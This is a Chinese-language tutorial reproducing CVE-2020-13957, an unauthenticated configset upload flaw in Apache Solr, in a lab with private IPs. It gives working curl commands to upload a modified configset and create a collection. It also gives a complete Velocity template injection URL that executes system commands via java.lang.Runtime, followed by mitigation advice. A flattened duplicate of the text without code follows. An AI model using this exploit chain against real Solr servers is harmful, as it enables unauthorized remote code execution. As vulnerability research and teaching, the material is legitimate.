Apche Solr 未授权上传漏洞(CVE-2020-13957)复现
字数 866 2025-08-15 21:33:32

Apache Solr 未授权上传漏洞(CVE-2020-13957)复现教程

漏洞描述

Apache Solr ConfigSet API存在未授权上传漏洞,攻击者利用该漏洞可实现远程代码执行(RCE)。该漏洞存在于特定版本的Solr中,允许攻击者绕过安全限制上传恶意配置集,进而通过Velocity模板执行任意命令。

影响版本

  • Apache Solr 6.6.0 - 6.6.5
  • Apache Solr 7.0.0 - 7.7.3
  • Apache Solr 8.0.0 - 8.6.2

环境搭建

所需工具

  • 靶机环境:Windows 10
  • 攻击机:Kali Linux
  • Solr版本:8.0.0(可从http://archive.apache.org/dist/lucene/solr/下载)

靶机配置

  1. 下载Solr 8.0.0并解压
  2. 启动Solr服务:
    C:\solr-8.0.0\bin>solr.cmd start -c
    

漏洞复现步骤

1. 准备恶意配置集

  1. 在Kali中,导航到解压的Solr目录:

    /solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf
    
  2. 编辑solrconfig.xml文件,找到以下内容并修改:

    <name>params.resource.loader.enabled</name>
    <value>${velocity.params.resource.loader.enabled:true}</value>
    

    false改为true

  3. conf目录下打包所有文件:

    zip -r - * > mytest.zip
    

2. 利用漏洞上传配置集

使用curl命令上传恶意配置集(假设靶机IP为192.168.41.129):

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest"

3. 创建恶意collection

基于上传的配置集创建新的collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

4. 执行远程命令

通过浏览器或curl访问以下URL执行命令(此处执行whoami):

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

漏洞利用链分析

  1. 上传configset:利用ConfigSet API的未授权上传漏洞
  2. 基于上传的configset再次上传configset(跳过身份验证检测)
  3. 利用新configset创建collection
  4. 利用solrVelocity模板进行RCE

安全建议

  1. 升级到最新版本的Apache Solr
  2. 限制Solr管理界面的访问权限
  3. 禁用不必要的API功能
  4. 在生产环境中启用身份验证

免责声明

本文仅用于安全研究和渗透测试学习目的,请勿用于非法用途。所有测试应在授权环境下进行。

Apache Solr 未授权上传漏洞(CVE-2020-13957)复现教程 漏洞描述 Apache Solr ConfigSet API存在未授权上传漏洞,攻击者利用该漏洞可实现远程代码执行(RCE)。该漏洞存在于特定版本的Solr中,允许攻击者绕过安全限制上传恶意配置集,进而通过Velocity模板执行任意命令。 影响版本 Apache Solr 6.6.0 - 6.6.5 Apache Solr 7.0.0 - 7.7.3 Apache Solr 8.0.0 - 8.6.2 环境搭建 所需工具 靶机环境:Windows 10 攻击机:Kali Linux Solr版本:8.0.0(可从http://archive.apache.org/dist/lucene/solr/下载) 靶机配置 下载Solr 8.0.0并解压 启动Solr服务: 漏洞复现步骤 1. 准备恶意配置集 在Kali中,导航到解压的Solr目录: 编辑 solrconfig.xml 文件,找到以下内容并修改: 将 false 改为 true 在 conf 目录下打包所有文件: 2. 利用漏洞上传配置集 使用curl命令上传恶意配置集(假设靶机IP为192.168.41.129): 3. 创建恶意collection 基于上传的配置集创建新的collection: 4. 执行远程命令 通过浏览器或curl访问以下URL执行命令(此处执行whoami): 漏洞利用链分析 上传configset:利用ConfigSet API的未授权上传漏洞 基于上传的configset再次上传configset(跳过身份验证检测) 利用新configset创建collection 利用solrVelocity模板进行RCE 安全建议 升级到最新版本的Apache Solr 限制Solr管理界面的访问权限 禁用不必要的API功能 在生产环境中启用身份验证 免责声明 本文仅用于安全研究和渗透测试学习目的,请勿用于非法用途。所有测试应在授权环境下进行。